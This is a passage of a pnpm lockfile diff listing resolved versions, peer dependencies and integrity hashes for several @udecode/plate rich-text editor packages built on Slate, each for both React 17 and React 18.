21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-basic-elements': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-basic-marks': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-break': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-comments': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-emoji': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-find-replace': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-floating': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-font': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-highlight': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-horizontal-rule': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-kbd': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-line-height': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-link': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-media': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-mention': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-node-id': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-normalizers': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-reset-node': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-select': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-csv': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-docx': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-html': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-md': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-suggestion': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-tabbable': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-trailing-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - supports-color + dev: false + + /@udecode/plate-headless@21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-KFEEQ/NdMs3HIzidv2yz44SReVnxZmMip8JGyERe+PU5oAvhcQcp8ACvF0CQuK2xBk041/DCJbznF6WG7rBEcg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-hyperscript: '>=0.66.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-alignment': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-autoformat': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-basic-elements': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-basic-marks': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-break': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-button': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-combobox': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-comments': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-emoji': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-find-replace': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-floating': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-font': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-highlight': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-horizontal-rule': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-kbd': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-line-height': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-link': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-media': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-mention': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-node-id': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-normalizers': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-reset-node': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-select': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-csv': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-docx': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-html': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-serializer-md': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-suggestion': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-tabbable': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-table': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-trailing-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/resizable': 20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + - supports-color + dev: false + + /@udecode/plate-highlight@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-o11WrLmMqhM2u0/7mgLVJT+utzHJG8eP5u8swJuMAGkHE71QesUXj2ZgSxuubrF+VC/XESQXhGmeB8PkCBDIjw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-highlight@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-o11WrLmMqhM2u0/7mgLVJT+utzHJG8eP5u8swJuMAGkHE71QesUXj2ZgSxuubrF+VC/XESQXhGmeB8PkCBDIjw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-horizontal-rule@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-3SX2HYr3yifptfFnQ1XH1+KYN9gQUVjy9bwPpz0RJm7kZZR+SrZQ6Op8LBK17rsDIB+lsnsklkDwYQm/OaUT6g==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-horizontal-rule@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-3SX2HYr3yifptfFnQ1XH1+KYN9gQUVjy9bwPpz0RJm7kZZR+SrZQ6Op8LBK17rsDIB+lsnsklkDwYQm/OaUT6g==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-indent-list@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-XJvcWNxlpfay1A5h/65tR3H9YP+9rd1Ui1yF4/FIEJpBazYJF02JLR/TKCP46pqBKFEmWc9jImeUXfbgeDkLlw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-indent-list@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-XJvcWNxlpfay1A5h/65tR3H9YP+9rd1Ui1yF4/FIEJpBazYJF02JLR/TKCP46pqBKFEmWc9jImeUXfbgeDkLlw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-indent': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-list': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-indent@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ETwGdPZuEesGv4DW+s9cmt0+Fo537y7sVtVJJi1juCitPgwnaqLwu+QRLDErFSIBdQebR0/gxX65R/+uH0NwnQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + 